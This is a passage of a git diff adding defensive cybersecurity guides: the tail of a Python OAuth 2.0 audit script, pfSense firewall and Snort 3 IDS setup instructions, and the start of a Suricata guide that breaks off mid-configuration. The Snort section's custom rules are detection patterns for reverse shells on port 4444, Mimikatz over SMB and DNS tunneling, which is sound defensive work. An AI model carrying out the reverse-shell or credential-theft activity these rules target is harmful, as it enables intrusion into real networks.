+ severity="info", + title="OpenID Connect Discovery endpoint accessible", + description=f"Discovery metadata available at {discovery_url}" + )) + + # Check for PKCE support in discovery + if "code_challenge_methods_supported" in metadata: + methods = metadata["code_challenge_methods_supported"] + if "S256" in methods: + self.findings.append(AuditFinding( + category="PKCE", + severity="info", + title="S256 PKCE method supported", + description="Server advertises S256 code challenge method support." + )) + if "plain" in methods: + self.findings.append(AuditFinding( + category="PKCE", + severity="high", + title="Plain PKCE method supported", + description="'plain' code challenge method does not provide security.", + recommendation="Require S256 only. Disable plain method.", + reference="RFC 7636 Section 4.2" + )) + except Exception as e: + self.findings.append(AuditFinding( + category="Discovery", + severity="low", + title="Cannot reach discovery endpoint", + description=f"Error accessing {discovery_url}: {str(e)}" + )) + + def generate_report(self) -> str: + """Generate audit report.""" + if not self.findings: + self.audit_all() + + severity_order = {"critical": 0, "high": 1, "medium": 2, "low": 3, "info": 4} + sorted_findings = sorted(self.findings, key=lambda f: severity_order.get(f.severity, 5)) + + lines = [ + "=" * 70, + "OAUTH 2.0 SECURITY AUDIT REPORT", + "=" * 70, + f"Issuer: {self.config.issuer or 'N/A'}", + f"Authorization Endpoint: {self.config.authorization_endpoint}", + f"Token Endpoint: {self.config.token_endpoint}", + f"Grant Types: {', '.join(self.config.grant_types_supported)}", + f"PKCE Required: {self.config.pkce_required}", + "-" * 70, + "" + ] + + by_severity = {} + for f in sorted_findings: + by_severity.setdefault(f.severity, []).append(f) + + total = len(self.findings) + critical = len(by_severity.get("critical", [])) + high = len(by_severity.get("high", [])) + + lines.append(f"TOTAL FINDINGS: {total}") + lines.append(f" Critical: {critical} | High: {high} | Medium: {len(by_severity.get('medium', []))} | Low: {len(by_severity.get('low', []))} | Info: {len(by_severity.get('info', []))}") + lines.append("") + + for f in sorted_findings: + icon = {"critical": "[!!!]", "high": "[!!]", "medium": "[!]", "low": "[~]", "info": "[i]"}.get(f.severity, "[?]") + lines.append(f"{icon} [{f.severity.upper()}] {f.title}") + lines.append(f" Category: {f.category}") + lines.append(f" {f.description}") + if f.recommendation: + lines.append(f" Recommendation: {f.recommendation}") + if f.reference: + lines.append(f" Reference: {f.reference}") + lines.append("") + + overall = "FAIL" if critical > 0 else "NEEDS IMPROVEMENT" if high > 0 else "PASS" + lines.append("=" * 70) + lines.append(f"OVERALL: {overall}") + lines.append("=" * 70) + + return "\n".join(lines) + + +def main(): + """Run OAuth 2.0 security audit with example configuration.""" + config = OAuthConfig( + authorization_endpoint="https://auth.example.com/authorize", + token_endpoint="https://auth.example.com/oauth/token", + revocation_endpoint="https://auth.example.com/oauth/revoke", + userinfo_endpoint="https://auth.example.com/userinfo", + jwks_uri="https://auth.example.com/.well-known/jwks.json", + issuer="https://auth.example.com", + client_id="my-app-client", + redirect_uris=[ + "https://app.example.com/callback", + "http://localhost:3000/callback" + ], + scopes_supported=["openid", "profile", "email", "read:users", "write:users"], + grant_types_supported=["authorization_code", "refresh_token", "client_credentials"], + response_types_supported=["code"], + pkce_required=True, + token_endpoint_auth_methods=["client_secret_basic", "private_key_jwt"] + ) + + auditor = OAuth2Auditor(config) + report = auditor.generate_report() + print(report) + + # Demo PKCE generation + print("\n--- PKCE Demo ---") + verifier = PKCEHelper.generate_code_verifier(128) + challenge = PKCEHelper.generate_code_challenge(verifier) + state = PKCEHelper.generate_state() + print(f"Code Verifier: {verifier[:40]}...") + print(f"Code Challenge (S256): {challenge}") + print(f"State: {state}") + print(f"Verification: {PKCEHelper.verify_pkce(verifier, challenge)}") + + +if __name__ == "__main__": + main() diff --git a/skills/configuring-pfsense-firewall-rules/SKILL.md b/skills/configuring-pfsense-firewall-rules/SKILL.md new file mode 100644 index 00000000..642c9ec7 --- /dev/null +++ b/skills/configuring-pfsense-firewall-rules/SKILL.md @@ -0,0 +1,335 @@ +--- +name: configuring-pfsense-firewall-rules +description: > + Configures pfSense firewall rules, NAT policies, VPN tunnels, and traffic shaping + to enforce network segmentation, control traffic flow, and protect internal network + zones in enterprise and small-to-medium business environments. +domain: cybersecurity +subdomain: network-security +tags: [network-security, pfsense, firewall, nat, network-segmentation] +version: "1.0" +author: mahipal +license: MIT +--- +# Configuring pfSense Firewall Rules + +## When to Use + +- Deploying a perimeter or internal firewall to segment and protect network zones (DMZ, internal, guest, IoT) +- Creating granular access control rules to restrict traffic between VLANs and network segments +- Configuring NAT rules for port forwarding to internal services exposed to the internet +- Setting up site-to-site or remote access VPN tunnels using IPsec or OpenVPN +- Implementing traffic shaping and bandwidth management for quality-of-service requirements + +**Do not use** as a substitute for host-based firewalls on individual systems, for SSL/TLS deep packet inspection without dedicated hardware acceleration, or as the sole security control without complementary IDS/IPS. + +## Prerequisites + +- pfSense 2.7+ installed on dedicated hardware or virtual machine with at least two network interfaces +- Access to the pfSense WebConfigurator (default: https://192.168.1.1) +- Network topology diagram showing all interfaces, VLANs, and desired traffic flow +- DNS and DHCP configuration planned for each network zone +- Understanding of TCP/IP, NAT, and stateful firewall concepts + +## Workflow + +### Step 1: Configure Network Interfaces and VLANs + +Access the pfSense WebConfigurator and define interfaces: + +``` +Navigate: Interfaces > Assignments + +WAN Interface (igb0): + - Type: DHCP or Static IP from ISP + - Block private networks: Enabled + - Block bogon networks: Enabled + +LAN Interface (igb1): + - IPv4: 10.10.1.1/24 + - Description: CORPORATE_LAN + +Create VLANs: + Navigate: Interfaces > VLANs > Add + - VLAN 10 on igb1: DMZ (10.10.10.1/24) + - VLAN 20 on igb1: SERVERS (10.10.20.1/24) + - VLAN 30 on igb1: GUEST (10.10.30.1/24) + - VLAN 40 on igb1: IOT (10.10.40.1/24) + +Assign VLANs: + Navigate: Interfaces > Assignments > Add each VLAN + Enable each interface and assign the gateway IP +``` + +### Step 2: Configure DHCP and DNS for Each Zone + +``` +Navigate: Services > DHCP Server + +CORPORATE_LAN (10.10.1.0/24): + Range: 10.10.1.100 - 10.10.1.200 + DNS: 10.10.20.10 (internal DNS server) + Gateway: 10.10.1.1 + +DMZ (10.10.10.0/24): + Range: 10.10.10.100 - 10.10.10.200 + DNS: 10.10.20.10 + Gateway: 10.10.10.1 + +GUEST (10.10.30.0/24): + Range: 10.10.30.100 - 10.10.30.200 + DNS: 1.1.1.1, 8.8.8.8 (public DNS only) + Gateway: 10.10.30.1 + +Navigate: Services > DNS Resolver + Enable DNS Resolver on all interfaces except GUEST + Enable DNSSEC + Configure forwarding to upstream DNS servers +``` + +### Step 3: Create Firewall Rule Aliases + +``` +Navigate: Firewall > Aliases + +RFC1918_Networks: + Type: Network + Values: 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16 + +WebPorts: + Type: Port + Values: 80, 443 + +ManagementPorts: + Type: Port + Values: 22, 3389, 5900 + +CriticalServers: + Type: Host + Values: 10.10.20.10, 10.10.20.11, 10.10.20.12 + +BlockedCountries: + Type: URL Table + URL: https://www.ipdeny.com/ipblocks/data/aggregated/cn-aggregated.zone + Update: 24 hours +``` + +### Step 4: Implement Firewall Rules by Zone + +``` +Navigate: Firewall > Rules + +=== WAN Rules === +# Block all inbound by default (implicit deny) +# Allow established/related traffic (automatic in pfSense stateful mode) + +# Allow inbound to DMZ web server (via NAT) +Action: Pass | Interface: WAN | Protocol: TCP +Source: any | Destination: WAN Address | Port: 80, 443 +Description: Allow HTTP/HTTPS to DMZ web server + +=== LAN Rules === +# Allow LAN to access internal servers +Action: Pass | Interface: LAN | Protocol: TCP +Source: LAN net | Destination: SERVERS net | Port: WebPorts, 3306, 5432 +Description: Allow LAN to internal web and database servers + +# Allow LAN to internet +Action: Pass | Interface: LAN | Protocol: any +Source: LAN net | Destination: ! RFC1918_Networks +Description: Allow LAN to internet (block inter-VLAN via RFC1918 exclusion) + +# Block LAN to IoT (explicit deny before implicit allow) +Action: Block | Interface: LAN | Protocol: any +Source: LAN net | Destination: IOT net +Description: Block direct LAN to IoT communication + +=== DMZ Rules === +# Allow DMZ web servers to query internal DNS +Action: Pass | Interface: DMZ | Protocol: TCP/UDP +Source: DMZ net | Destination: 10.10.20.10 | Port: 53 +Description: Allow DMZ DNS queries to internal resolver + +# Allow DMZ to internet for updates only +Action: Pass | Interface: DMZ | Protocol: TCP +Source: DMZ net | Destination: any | Port: 80, 443 +Description: Allow DMZ outbound HTTP/HTTPS for updates + +# Block all other DMZ traffic +Action: Block | Interface: DMZ | Protocol: any +Source: DMZ net | Destination: any +Description: Default deny for DMZ + +=== GUEST Rules === +# Allow guest to internet only (DNS and web) +Action: Pass | Interface: GUEST | Protocol: TCP/UDP +Source: GUEST net | Destination: ! RFC1918_Networks | Port: 53, 80, 443 +Description: Allow guest internet access only + +# Block all guest to internal +Action: Block | Interface: GUEST | Protocol: any +Source: GUEST net | Destination: RFC1918_Networks +Description: Block guest access to all internal networks + +=== IOT Rules === +# Allow IoT to specific cloud endpoints +Action: Pass | Interface: IOT | Protocol: TCP +Source: IOT net | Destination: ! RFC1918_Networks | Port: 443, 8883 +Description: Allow IoT HTTPS and MQTT to cloud + +# Block IoT inter-device communication +Action: Block | Interface: IOT | Protocol: any +Source: IOT net | Destination: IOT net +Description: Prevent IoT lateral movement + +# Block IoT to all internal networks +Action: Block | Interface: IOT | Protocol: any +Source: IOT net | Destination: RFC1918_Networks +Description: Block IoT access to internal +``` + +### Step 5: Configure NAT Rules + +``` +Navigate: Firewall > NAT > Port Forward + +# Web server in DMZ +Interface: WAN | Protocol: TCP +Destination: WAN address | Port: 443 +Redirect target IP: 10.10.10.50 | Port: 443 +NAT Reflection: Enable +Description: HTTPS to DMZ web server + +# SSH jump host (non-standard port) +Interface: WAN | Protocol: TCP +Destination: WAN address | Port: 2222 +Redirect target IP: 10.10.20.11 | Port: 22 +Description: SSH to internal jump host via port 2222 + +Navigate: Firewall > NAT > Outbound +Mode: Hybrid Outbound NAT +# Add rule for DMZ servers to use a dedicated public IP +Interface: WAN | Source: 10.10.10.0/24 +Translation Address: +Description: DMZ outbound NAT via dedicated IP +``` + +### Step 6: Enable Logging and Monitoring + +``` +Navigate: Status > System Logs > Settings + Remote Logging: Enable + Remote log servers: 10.10.20.15:514 (Syslog/SIEM) + Log firewall default blocks: Enabled + +Navigate: Firewall > Rules + Enable logging on critical rules: + - All BLOCK rules + - WAN inbound PASS rules + - Inter-VLAN PASS rules + +Navigate: Diagnostics > pfTop + Monitor real-time connection states and bandwidth usage + +Install pfBlockerNG package: + Navigate: System > Package Manager > Available Packages + Install pfBlockerNG-devel + Configure IP blocklists (Spamhaus DROP, Emerging Threats) + Configure DNSBL for malware domain blocking +``` + +### Step 7: Backup and Test Configuration + +```bash +# Export configuration backup +Navigate: Diagnostics > Backup & Restore +Download XML configuration file + +# Test rules from each zone +# From LAN: +curl -I https://10.10.20.10 # Should succeed (LAN to SERVERS) +curl -I https://10.10.40.5 # Should fail (LAN to IOT blocked) + +# From GUEST: +curl -I https://www.google.com # Should succeed (internet) +curl -I https://10.10.20.10 # Should fail (guest to internal blocked) + +# From DMZ: +nslookup google.com 10.10.20.10 # Should succeed (DNS allowed) +ssh 10.10.1.50 # Should fail (DMZ to LAN blocked) + +# Verify logging +Navigate: Status > System Logs > Firewall +Check that blocked and passed traffic is logging correctly + +# Schedule automated config backups +Navigate: Diagnostics > AutoConfigBackup +Enable automatic backups to Netgate cloud or local storage +``` + +## Key Concepts + +| Term | Definition | +|------|------------| +| **Stateful Firewall** | Firewall that tracks the state of network connections and automatically allows return traffic for established sessions without explicit rules | +| **Alias** | Named group of IP addresses, networks, or ports in pfSense that simplifies rule management and improves readability | +| **NAT (Network Address Translation)** | Translation of IP addresses between internal and external networks, including port forwarding for inbound access to internal services | +| **Floating Rules** | pfSense rules that apply across multiple interfaces simultaneously, processed before per-interface rules | +| **pfBlockerNG** | pfSense package that integrates IP reputation blocklists and DNS-based blocklists for automated threat blocking | +| **Rule Processing Order** | pfSense evaluates rules top-to-bottom within each interface tab; first match wins, and unmatched traffic is blocked by default | + +## Tools & Systems + +- **pfSense 2.7+**: Open-source firewall and router platform based on FreeBSD with web-based management and extensive package ecosystem +- **pfBlockerNG**: IP and DNS blocklist package for automated threat intelligence integration +- **Snort/Suricata packages**: IDS/IPS integration available as pfSense packages for inline traffic inspection +- **OpenVPN/IPsec**: Built-in VPN implementations for site-to-site and remote access connectivity +- **Netgate AutoConfigBackup**: Cloud-based configuration backup service for pfSense disaster recovery + +## Common Scenarios + +### Scenario: Segmenting a Small Business Network with pfSense + +**Context**: A medical practice needs to segment its network to meet HIPAA requirements. They have a single internet connection, an electronic health records (EHR) server, staff workstations, a guest WiFi network, and medical IoT devices (vitals monitors, imaging equipment). Budget constraints require an open-source solution. + +**Approach**: +1. Deploy pfSense on a Netgate 4100 appliance with four physical interfaces (WAN, LAN, DMZ, MGMT) +2. Create VLANs for staff (VLAN 10), EHR servers (VLAN 20), guest WiFi (VLAN 30), and medical devices (VLAN 40) +3. Configure strict rules: staff VLAN can access EHR servers on HTTPS only; medical devices can communicate only with the EHR server on specific ports; guest WiFi gets internet-only access with no internal routing +4. Enable pfBlockerNG with healthcare-specific threat feeds and malware domain blocking +5. Configure outbound NAT to prevent internal IP addresses from leaking to the internet +6. Enable comprehensive logging and forward all firewall logs to a SIEM via syslog +7. Set up automated configuration backups and document the rule base for audit compliance + +**Pitfalls**: +- Creating rules that are too permissive ("allow any any") instead of specific port-based rules +- Forgetting the rule processing order -- placing a broad PASS rule above a specific BLOCK rule +- Not enabling logging on critical rules, making incident investigation impossible +- Allowing IoT devices unrestricted internet access, creating potential data exfiltration paths + +## Output Format + +``` +## pfSense Firewall Configuration Report + +**Device**: pfSense 2.7.2 on Netgate 4100 +**Interfaces**: WAN (igb0), LAN (igb1), DMZ (igb2), MGMT (igb3) +**VLANs**: 4 configured (Staff, Servers, Guest, IoT) +**Total Rules**: 28 active rules across all interfaces + +### Rule Summary by Interface + +| Interface | Pass Rules | Block Rules | Logging Enabled | +|-----------|-----------|-------------|-----------------| +| WAN | 2 | 1 (default) | Yes | +| LAN | 4 | 2 | Yes (blocks) | +| DMZ | 3 | 1 (default) | Yes | +| GUEST | 1 | 2 | Yes | +| IOT | 1 | 3 | Yes | + +### Security Controls +- pfBlockerNG: 12 IP blocklists + DNSBL enabled +- Snort IDS: Running on WAN and LAN interfaces +- VPN: OpenVPN remote access configured with MFA +- Logging: All traffic forwarded to SIEM (10.10.20.15) +``` diff --git a/skills/configuring-snort-ids-for-intrusion-detection/SKILL.md b/skills/configuring-snort-ids-for-intrusion-detection/SKILL.md new file mode 100644 index 00000000..3e010dc0 --- /dev/null +++ b/skills/configuring-snort-ids-for-intrusion-detection/SKILL.md @@ -0,0 +1,395 @@ +--- +name: configuring-snort-ids-for-intrusion-detection +description: > + Installs, configures, and tunes Snort 3 intrusion detection system to monitor + network traffic for malicious activity using custom and community rulesets, + preprocessors, and alert output plugins on authorized network segments. +domain: cybersecurity +subdomain: network-security +tags: [network-security, snort, ids, intrusion-detection, rule-writing] +version: "1.0" +author: mahipal +license: MIT +--- +# Configuring Snort IDS for Intrusion Detection + +## When to Use + +- Deploying a network-based intrusion detection system to monitor traffic at key network boundaries +- Writing custom Snort rules to detect organization-specific threats, attack patterns, or policy violations +- Tuning existing rulesets to reduce false positives while maintaining detection coverage +- Integrating Snort alerts with SIEM platforms for centralized security monitoring +- Validating network security controls by generating test traffic and confirming detection + +**Do not use** as a replacement for endpoint detection, for monitoring encrypted traffic without TLS inspection, or as the sole security control without complementary defenses. + +## Prerequisites + +- Snort 3.x installed from source or package manager (`snort --version` to verify) +- Network interface configured for promiscuous mode on a span port or network tap +- DAQ (Data Acquisition Library) installed for packet capture integration +- Registered Snort account for downloading Snort Subscriber (paid) or Community rulesets from snort.org +- PulledPork 3 or similar rule management tool for automated ruleset updates +- Sufficient CPU and memory for inline traffic inspection at line rate + +## Workflow + +### Step 1: Install and Verify Snort 3 + +```bash +# Install dependencies (Ubuntu/Debian) +sudo apt install -y build-essential libpcap-dev libpcre3-dev libnet1-dev \ + zlib1g-dev luajit hwloc libdumbnet-dev bison flex libcmocka-dev \ + libnetfilter-queue-dev libmnl-dev autotools-dev libluajit-5.1-dev \ + pkg-config cmake libhwloc-dev liblzma-dev openssl libssl-dev cpputest \ + libsqlite3-dev uuid-dev + +# Install DAQ from source +git clone https://github.com/snort3/libdaq.git +cd libdaq && ./bootstrap && ./configure && make && sudo make install + +# Install Snort 3 +git clone https://github.com/snort3/snort3.git +cd snort3 && ./configure_cmake.sh --prefix=/usr/local +cd build && make -j$(nproc) && sudo make install +sudo ldconfig + +# Verify installation +snort -V +``` + +### Step 2: Configure Network Interfaces + +```bash +# Disable offloading features that interfere with packet inspection +sudo ethtool -K eth1 gro off lro off tso off gso off rx off tx off + +# Enable promiscuous mode +sudo ip link set eth1 promisc on + +# Create systemd service for persistent interface configuration +sudo tee /etc/systemd/system/snort-iface.service << 'EOF' +[Unit] +Description=Configure Snort capture interface +Before=snort.service + +[Service] +Type=oneshot +ExecStart=/sbin/ethtool -K eth1 gro off lro off tso off gso off rx off tx off +ExecStart=/sbin/ip link set eth1 promisc on +RemainAfterExit=yes + +[Install] +WantedBy=multi-user.target +EOF + +sudo systemctl enable snort-iface.service +``` + +### Step 3: Configure Snort 3 with Lua Configuration + +```bash +# Create Snort directory structure +sudo mkdir -p /usr/local/etc/snort/{rules,builtin_rules,lists,appid} +sudo mkdir -p /var/log/snort + +# Edit the main Snort configuration +sudo tee /usr/local/etc/snort/snort.lua << 'LUAEOF' +-- Snort 3 Configuration + +-- Network variables +HOME_NET = '10.10.0.0/16' +EXTERNAL_NET = '!$HOME_NET' + +-- Path variables +RULE_PATH = '/usr/local/etc/snort/rules' +BUILTIN_RULE_PATH = '/usr/local/etc/snort/builtin_rules' + +-- Configure DAQ +daq = { + module_dirs = { '/usr/local/lib/daq' }, + modules = { { name = 'afpacket', variables = { 'buffer_size_mb=256' } } } +} + +-- Decoder configuration +normalizer = { tcp = { ips = true } } + +-- Stream inspection +stream = { } +stream_tcp = { policy = 'linux', session_timeout = 180 } +stream_udp = { session_timeout = 30 } +stream_icmp = { } + +-- HTTP inspection +http_inspect = { } + +-- DNS inspection +dns = { } + +-- SSL/TLS inspection +ssl = { } + +-- SMB inspection +dce_smb = { } + +-- File identification and processing +file_id = { rules_file = '/usr/local/etc/snort/file_magic.rules' } + +-- Port scan detection +port_scan = { + protos = 'all', + scan_types = 'all', + memcap = 10000000 +} + +-- Reputation-based filtering +-- reputation = { +-- blacklist = RULE_PATH .. '/blocklist.rules' +-- } + +-- IPS rules +ips = { + enable_builtin_rules = true, + include = RULE_PATH .. '/snort3-community.rules', + variables = { + nets = { HOME_NET = HOME_NET, EXTERNAL_NET = EXTERNAL_NET }, + ports = { + HTTP_PORTS = '80 8080 8443', + SSH_PORTS = '22', + DNS_PORTS = '53' + } + } +} + +-- Alert output +alert_fast = { + file = true, + packet = false, + limit = 100 +} + +-- Unified2 output for Barnyard2/SIEM integration +-- alert_unified2 = { limit = 128 } + +-- JSON alert output +alert_json = { + file = true, + limit = 100, + fields = 'timestamp pkt_num proto pkt_gen pkt_len dir src_addr src_port dst_addr dst_port service rule action' +} + +-- Syslog output +-- alert_syslog = { level = 'info', facility = 'local1' } + +LUAEOF +``` + +### Step 4: Download and Configure Rulesets + +```bash +# Download Snort 3 Community Rules +wget https://www.snort.org/downloads/community/snort3-community-rules.tar.gz +tar xzf snort3-community-rules.tar.gz +sudo cp snort3-community-rules/snort3-community.rules /usr/local/etc/snort/rules/ + +# Install PulledPork 3 for automated rule management +git clone https://github.com/shirkdog/pulledpork3.git +cd pulledpork3 +sudo python3 setup.py install + +# Configure PulledPork +sudo tee /usr/local/etc/pulledpork3/pulledpork.conf << 'EOF' +registered_ruleset = true +oinkcode = +snort_path = /usr/local/bin/snort +local_rules = /usr/local/etc/snort/rules/local.rules +sorule_path = /usr/local/etc/snort/so_rules/ +snort_version = 3.0.0.0 +blocklist_path = /usr/local/etc/snort/lists/ +pid_path = /var/run/snort.pid +ips_policy = balanced +EOF + +# Run PulledPork to fetch and process rules +sudo pulledpork3 -c /usr/local/etc/pulledpork3/pulledpork.conf +``` + +### Step 5: Write Custom Detection Rules + +```bash +# Create local rules file +sudo tee /usr/local/etc/snort/rules/local.rules << 'EOF' +# Detect reverse shell on common ports +alert tcp $HOME_NET any -> $EXTERNAL_NET 4444 ( + msg:"LOCAL Possible Reverse Shell on port 4444"; + flow:established,to_server; + content:"/bin/sh"; nocase; + sid:1000001; rev:1; + classtype:trojan-activity; + priority:1; +) + +# Detect Mimikatz execution indicators over SMB +alert tcp any any -> $HOME_NET 445 ( + msg:"LOCAL Mimikatz Lateral Movement via SMB"; + flow:established,to_server; + content:"|FF|SMB"; + content:"mimikatz"; nocase; distance:0; + sid:1000002; rev:1; + classtype:trojan-activity; + priority:1; +) + +# Detect DNS tunneling (high-entropy long subdomain queries) +alert udp $HOME_NET any -> any 53 ( + msg:"LOCAL Possible DNS Tunneling - Long Query Name"; + content:"|01 00|"; offset:2; depth:2; + byte_test:1,>,50,12; + sid:1000003; rev:1; + classtype:policy-violation; + priority:2; +) + +# Detect cleartext password transmission via FTP +alert tcp $HOME_NET any -> any 21 ( + msg:"LOCAL FTP Cleartext Password Detected"; + flow:established,to_server; + content:"PASS "; depth:5; + sid:1000004; rev:1; + classtype:policy-violation; + priority:2; +) + +# Detect potential port scan (SYN flood pattern) +alert tcp $EXTERNAL_NET any -> $HOME_NET any ( + msg:"LOCAL Possible Port Scan SYN Flood"; + flow:stateless; + flags:S,12; + threshold:type both, track by_src, count 100, seconds 10; + sid:1000005; rev:1; + classtype:attempted-recon; + priority:2; +) +EOF +``` + +### Step 6: Validate Configuration and Run + +```bash +# Validate configuration +snort -c /usr/local/etc/snort/snort.lua --daq-dir /usr/local/lib/daq -T + +# Run Snort in IDS mode on the capture interface +sudo snort -c /usr/local/etc/snort/snort.lua --daq-dir /usr/local/lib/daq \ + -i eth1 -l /var/log/snort -D + +# Test rules against a PCAP file +snort -c /usr/local/etc/snort/snort.lua --daq-dir /usr/local/lib/daq \ + -r test_traffic.pcap -l /var/log/snort/test/ -A fast + +# Create systemd service for production deployment +sudo tee /etc/systemd/system/snort.service << 'EOF' +[Unit] +Description=Snort 3 IDS +After=network.target snort-iface.service + +[Service] +Type=simple +ExecStart=/usr/local/bin/snort -c /usr/local/etc/snort/snort.lua --daq-dir /usr/local/lib/daq -i eth1 -l /var/log/snort -D +ExecReload=/bin/kill -SIGHUP $MAINPID +Restart=on-failure + +[Install] +WantedBy=multi-user.target +EOF + +sudo systemctl enable --now snort.service +``` + +### Step 7: Monitor Alerts and Tune Rules + +```bash +# View real-time alerts +tail -f /var/log/snort/alert_fast.txt + +# Parse JSON alerts for analysis +cat /var/log/snort/alert_json.txt | python3 -m json.tool + +# Identify top triggered rules for tuning +grep -oP 'sid:\d+' /var/log/snort/alert_fast.txt | sort | uniq -c | sort -rn | head -20 + +# Suppress noisy false-positive rules +sudo tee -a /usr/local/etc/snort/rules/suppress.rules << 'EOF' +suppress gen_id 1, sig_id 2100498, track by_src, ip 10.10.1.100 +suppress gen_id 1, sig_id 2100366, track by_dst, ip 10.10.5.0/24 +EOF + +# Verify rule count and performance +snort -c /usr/local/etc/snort/snort.lua --daq-dir /usr/local/lib/daq -T 2>&1 | grep -i "rules loaded" +``` + +## Key Concepts + +| Term | Definition | +|------|------------| +| **IDS vs IPS** | IDS passively monitors traffic and generates alerts; IPS sits inline and can actively block or drop malicious packets in real time | +| **Snort Rule** | Detection signature with header (action, protocol, src/dst, ports) and options (content matches, flow direction, metadata) that triggers on matching traffic | +| **Preprocessor** | Snort component that normalizes and reassembles protocol-specific traffic before rule inspection, handling fragmentation, stream reassembly, and protocol anomalies | +| **DAQ (Data Acquisition)** | Abstraction layer in Snort 3 that interfaces with packet capture mechanisms (AF_PACKET, PCAP, NFQ) for receiving network data | +| **Oink Code** | Personal registration code from snort.org required to download Snort Subscriber or Registered rulesets | +| **Threshold/Suppression** | Tuning mechanisms that control alert frequency (threshold) or completely silence alerts from specific sources/destinations (suppress) | + +## Tools & Systems + +- **Snort 3**: Open-source network intrusion detection and prevention system with Lua-based configuration and multithreaded architecture +- **PulledPork 3**: Automated Snort rule management tool that downloads, processes, and deploys rulesets with policy-based filtering +- **Barnyard2**: Dedicated spooler that reads Snort's unified2 binary output and writes to databases (MySQL, PostgreSQL) for SIEM integration +- **Snorby**: Web-based Snort alert management console providing dashboards, event classification, and reporting +- **tcpreplay**: Tool for replaying PCAP files through Snort to validate rules and test detection capabilities + +## Common Scenarios + +### Scenario: Deploying Snort IDS at a Network Perimeter for Compliance + +**Context**: A healthcare organization needs to deploy network IDS to meet HIPAA technical safeguard requirements. The IDS must monitor traffic between the DMZ and internal network, detect common attack patterns, and forward alerts to the existing Splunk SIEM. The network carries approximately 500 Mbps of traffic during peak hours. + +**Approach**: +1. Install Snort 3 on a dedicated sensor with dual NICs -- one for monitoring (span port from core switch) and one for management +2. Configure AF_PACKET DAQ with a 512 MB ring buffer to handle peak throughput without drops +3. Deploy Snort Community rules plus Emerging Threats Open ruleset as baseline detection +4. Write custom rules for organization-specific threats: detection of PHI data patterns (SSN, MRN formats) leaving the network, unauthorized access to DICOM/HL7 ports, and connections to known bad IP lists +5. Configure JSON alert output and forward to Splunk via syslog using rsyslog +6. Run Snort against 24 hours of captured baseline traffic to identify false positives, then create suppression rules for legitimate traffic patterns +7. Enable Snort as a systemd service with automatic restart and log rotation + +**Pitfalls**: +- Deploying all available rules without tuning, overwhelming the sensor and SOC with thousands of daily false positives +- Forgetting to disable NIC offloading, causing Snort to miss packets due to checksum errors or jumbo frames +- Not sizing the sensor hardware for peak traffic, leading to packet drops during high-volume periods +- Relying solely on community rules without custom rules for organization-specific threats and compliance requirements + +## Output Format + +``` +## Snort IDS Deployment Report + +**Sensor**: snort-sensor-01 (10.10.1.250) +**Interface**: eth1 (span port from Core-SW1 gi0/24) +**Configuration**: /usr/local/etc/snort/snort.lua +**Ruleset**: Snort Community 3.0 + Local Rules (1,247 active rules) +**HOME_NET**: 10.10.0.0/16 + +### Detection Summary (24-hour baseline) + +| Category | Alert Count | Top Rule SID | +|----------|-------------|--------------| +| Attempted Recon | 342 | 1:2100498 (ICMP ping) | +| Trojan Activity | 12 | 1:1000001 (Reverse shell) | +| Policy Violation | 87 | 1:1000004 (FTP cleartext) | +| Web Application Attack | 23 | 1:2100654 (SQL injection) | + +### Tuning Actions Taken +- Suppressed SID 2100498 for 10.10.1.100 (monitoring server legitimate ICMP) +- Thresholded SID 1000004 to 5 alerts per source per hour +- Added 3 custom rules for PHI exfiltration detection +``` diff --git a/skills/configuring-suricata-for-network-monitoring/SKILL.md b/skills/configuring-suricata-for-network-monitoring/SKILL.md new file mode 100644 index 00000000..399de5b1 --- /dev/null +++ b/skills/configuring-suricata-for-network-monitoring/SKILL.md @@ -0,0 +1,390 @@ +--- +name: configuring-suricata-for-network-monitoring +description: > + Deploys and configures Suricata IDS/IPS with Emerging Threats rulesets, EVE JSON + logging, and custom rules for real-time network traffic inspection, threat detection, + and integration with SIEM platforms for centralized security monitoring. +domain: cybersecurity +subdomain: network-security +tags: [network-security, suricata, ids, ips, network-monitoring] +version: "1.0" +author: mahipal +license: MIT +--- +# Configuring Suricata for Network Monitoring + +## When to Use + +- Deploying a high-performance IDS/IPS capable of multi-threaded packet processing for 10+ Gbps network links +- Monitoring network traffic with protocol-aware inspection for HTTP, TLS, DNS, SMB, and other protocols +- Generating structured EVE JSON logs for direct SIEM ingestion without custom parsers +- Running in inline (IPS) mode to actively block malicious traffic at network choke points +- Combining signature-based detection with protocol anomaly detection and file extraction + +**Do not use** as a standalone security solution without complementary controls, for encrypted traffic inspection without TLS decryption capabilities, or on systems with insufficient CPU/memory for the expected traffic volume. + +## Prerequisites + +- Suricata 7.0+ installed from PPA or source (`suricata --build-info`) +- Network interface on a span port, tap, or inline bridge for traffic capture +- AF_PACKET or DPDK support for high-performance packet capture +- Emerging Threats Open or Pro ruleset subscription (or Snort Talos rules via oinkcode) +- suricata-update tool for automated rule management +- Elasticsearch/Kibana or Splunk for log analysis and visualization + +## Workflow + +### Step 1: Install Suricata and Dependencies + +```bash +# Install from PPA (Ubuntu/Debian) +sudo add-apt-repository ppa:oisf/suricata-stable +sudo apt update +sudo apt install -y suricata suricata-update jq + +# Verify installation +suricata --build-info | grep -E "Version|AF_PACKET|NFQueue" + +# Or install from source for latest features +sudo apt install -y libpcre2-dev build-essential autoconf automake libtool \ + libpcap-dev libnet1-dev libyaml-dev libjansson-dev libcap-ng-dev \ + libmagic-dev libnetfilter-queue-dev libhiredis-dev rustc cargo cbindgen +git clone https://github.com/OISF/suricata.git +cd suricata && git clone https://github.com/OISF/libhtp.git -b 0.5.x +./autogen.sh && ./configure --prefix=/usr --sysconfdir=/etc --localstatedir=/var \ + --enable-nfqueue --enable-af-packet +make -j$(nproc) && sudo make install install-conf +``` + +### Step 2: Configure Network Interfaces + +```bash +# Disable NIC offloading features +sudo ethtool -K eth1 gro off lro off tso off gso off rx off tx off sg off + +# Set interface to promiscuous mode +sudo ip link set eth1 promisc on + +# For high-performance deployments, configure AF_PACKET with multiple threads +# Edit /etc/suricata/suricata.yaml +``` + +### Step 3: Configure suricata.yaml + +```yaml +# /etc/suricata/suricata.yaml (key sections) + +# Network variables +vars: + address-groups: + HOME_NET: "[10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16]" + EXTERNAL_NET: "!$HOME_NET" + HTTP_SERVERS: "$HOME_NET" + DNS_SERVERS: "$HOME_NET" + SMTP_SERVERS: "$HOME_NET" + +# Default rule path +default-rule-path: /var/lib/suricata/rules +rule-files: + - suricata.rules + +# AF_PACKET configuration for high performance +af-packet: + - interface: eth1 + threads: 